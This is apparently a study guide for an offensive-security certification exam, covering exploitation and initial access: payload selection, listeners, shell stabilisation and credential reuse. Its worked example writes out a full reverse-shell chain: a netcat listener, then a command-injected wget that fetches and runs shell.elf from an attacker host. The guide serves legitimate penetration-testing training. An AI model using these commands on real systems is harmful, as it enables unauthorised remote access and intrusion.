OSC: Exploitation and Initial Access

Exploitation and Initial Access is where a confirmed weakness becomes a shell, a session, or a set of valid credentials. The exam assesses payload choice, listener hygiene, and whether you can stabilize and verify access without breaking scope.

Core rules

• Choose egress carefully: outbound 80, 443 and 53 usually pass; a random high port may not.
• Match the payload to the target: architecture, operating system, and whether AV or EDR is present. Staged payloads are smaller but need a stable channel; a fragile one-shot injection favors stageless.
• Set LHOST to the reachable interface, typically tun0, never 127.0.0.1.
• Always upgrade a dumb shell: python3 -c 'import pty;pty.spawn("/bin/bash")', then Ctrl-Z, stty raw -echo; fg, then export TERM=xterm and a sensible row/column size.
• Verify identity and privilege immediately: id, whoami /priv, hostname, ip a.
• Reuse credentials found in config files, shares and history before inventing new attacks.

Worked example

A command-injection point is confirmed. You start nc -lvnp 443, host shell.elf with python3 -m http.server 80, and on the target run wget http://10.10.14.5/shell.elf -O /tmp/s && chmod +x /tmp/s && /tmp/s. The listener catches a shell as www-data. You upgrade the TTY, run id, and check sudo -l before anything else. Reasoning: port 443 is allowed outbound, the ELF matches an x64 Linux host, and wget avoids a fragile piped reverse shell.

Traps that cost marks

Listener bound to the wrong interface; forgetting chmod; using a staged payload through a one-shot injection; typing into an unupgraded shell and losing output; assuming a shell is stable when it dies on Ctrl-C; and failing to record the exact payload and command, which breaks the report later.